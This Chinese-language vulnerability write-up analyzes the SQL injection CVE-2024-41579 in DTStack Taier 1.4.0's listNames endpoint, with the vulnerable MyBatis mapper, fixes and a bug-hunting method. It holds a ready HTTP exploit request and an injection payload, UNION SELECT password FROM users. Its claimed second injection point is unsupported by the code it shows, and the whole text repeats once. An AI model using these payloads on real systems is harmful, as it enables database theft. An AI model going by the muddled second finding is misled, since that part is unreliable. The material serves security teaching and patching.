DTStack Taier 1.4.0 listNames sql注入分析(CVE-2024-41579)
字数 1029 2025-08-22 12:22:37

DTStack Taier 1.4.0 SQL注入漏洞分析(CVE-2024-41579) 教学文档

1. 漏洞概述

本文档详细分析DTStack Taier 1.4.0版本中存在的SQL注入漏洞(CVE-2024-41579)。该漏洞存在于listNames接口中,由于不安全的SQL语句拼接方式导致攻击者可以构造恶意输入执行任意SQL命令。

2. 漏洞定位

2.1 漏洞触发点

  • 触发接口: /taier/api/console/listNames
  • 触发参数: jobName
  • 请求方式: POST

2.2 调用链分析

ConsoleController.listNames 
→ ConsoleService.listNames 
→ ScheduleJobCacheMapper.listNames

3. 漏洞原理分析

3.1 SQL拼接方式

在Java中SQL拼接主要有两种方式:

  1. $符号: 直接拼接SQL语句,存在SQL注入风险
    @Select("SELECT * FROM users WHERE name = ${name}")
    
  2. #符号: 使用预编译参数,安全
    @Select("SELECT * FROM users WHERE name = #{name}")
    

3.2 漏洞代码分析

ScheduleJobCacheMapper.xml文件中,listNames查询使用了不安全的$符号进行参数拼接:

<select id="listNames" resultType="java.lang.String">
    SELECT job_name FROM schedule_job_cache 
    WHERE job_name LIKE '%${jobName}%'
</select>

4. 漏洞利用

4.1 基本利用方式

攻击者可以构造恶意的jobName参数进行SQL注入:

POST /taier/api/console/listNames HTTP/1.1
Content-Type: application/x-www-form-urlencoded

jobName=' OR 1=1 --

这将导致执行的SQL语句变为:

SELECT job_name FROM schedule_job_cache WHERE job_name LIKE '%' OR 1=1 -- %'

4.2 进阶利用

可以构造更复杂的payload进行数据库信息泄露、数据篡改等操作:

jobName=' UNION SELECT password FROM users --

5. 发现的第二个注入点

在分析过程中还发现了另一个SQL注入点:

5.1 第二个注入点详情

  • 触发接口: /taier/api/console/jobStick
  • 触发参数: jobId
  • 请求方式: POST

5.2 相关代码

ScheduleJobCacheMapper.xml中:

<select id="getOne" resultMap="BaseResultMap">
    SELECT * FROM schedule_job_cache WHERE job_id = #{jobId}
</select>

虽然此处使用了安全的#符号,但在Controller层存在不安全的参数传递方式。

6. 修复建议

  1. 使用预编译语句:
    将所有的${}替换为#{}:

    <select id="listNames" resultType="java.lang.String">
        SELECT job_name FROM schedule_job_cache 
        WHERE job_name LIKE CONCAT('%', #{jobName}, '%')
    </select>
    
  2. 输入验证:
    在Controller层对输入参数进行严格的格式验证和过滤。

  3. 最小权限原则:
    数据库连接使用最小必要权限的账户。

  4. 使用ORM框架:
    考虑使用MyBatis等ORM框架的安全查询方式。

7. 漏洞挖掘方法论

通过本案例可以总结以下漏洞挖掘方法:

  1. 寻找接受用户输入的接口
  2. 追踪参数传递路径直到数据库操作层
  3. 检查SQL语句拼接方式($ vs #)
  4. 验证参数是否经过充分过滤
  5. 尝试构造边界条件测试

8. 参考

  • 先知社区原文
  • MyBatis官方文档关于SQL注入防护的部分
  • OWASP SQL注入防护指南
DTStack Taier 1.4.0 SQL注入漏洞分析(CVE-2024-41579) 教学文档 1. 漏洞概述 本文档详细分析DTStack Taier 1.4.0版本中存在的SQL注入漏洞(CVE-2024-41579)。该漏洞存在于 listNames 接口中,由于不安全的SQL语句拼接方式导致攻击者可以构造恶意输入执行任意SQL命令。 2. 漏洞定位 2.1 漏洞触发点 触发接口 : /taier/api/console/listNames 触发参数 : jobName 请求方式 : POST 2.2 调用链分析 3. 漏洞原理分析 3.1 SQL拼接方式 在Java中SQL拼接主要有两种方式: $符号 : 直接拼接SQL语句,存在SQL注入风险 #符号 : 使用预编译参数,安全 3.2 漏洞代码分析 在 ScheduleJobCacheMapper.xml 文件中, listNames 查询使用了不安全的 $ 符号进行参数拼接: 4. 漏洞利用 4.1 基本利用方式 攻击者可以构造恶意的 jobName 参数进行SQL注入: 这将导致执行的SQL语句变为: 4.2 进阶利用 可以构造更复杂的payload进行数据库信息泄露、数据篡改等操作: 5. 发现的第二个注入点 在分析过程中还发现了另一个SQL注入点: 5.1 第二个注入点详情 触发接口 : /taier/api/console/jobStick 触发参数 : jobId 请求方式 : POST 5.2 相关代码 在 ScheduleJobCacheMapper.xml 中: 虽然此处使用了安全的 # 符号,但在Controller层存在不安全的参数传递方式。 6. 修复建议 使用预编译语句 : 将所有的 ${} 替换为 #{} : 输入验证 : 在Controller层对输入参数进行严格的格式验证和过滤。 最小权限原则 : 数据库连接使用最小必要权限的账户。 使用ORM框架 : 考虑使用MyBatis等ORM框架的安全查询方式。 7. 漏洞挖掘方法论 通过本案例可以总结以下漏洞挖掘方法: 寻找接受用户输入的接口 追踪参数传递路径直到数据库操作层 检查SQL语句拼接方式( $ vs # ) 验证参数是否经过充分过滤 尝试构造边界条件测试 8. 参考 先知社区原文 MyBatis官方文档关于SQL注入防护的部分 OWASP SQL注入防护指南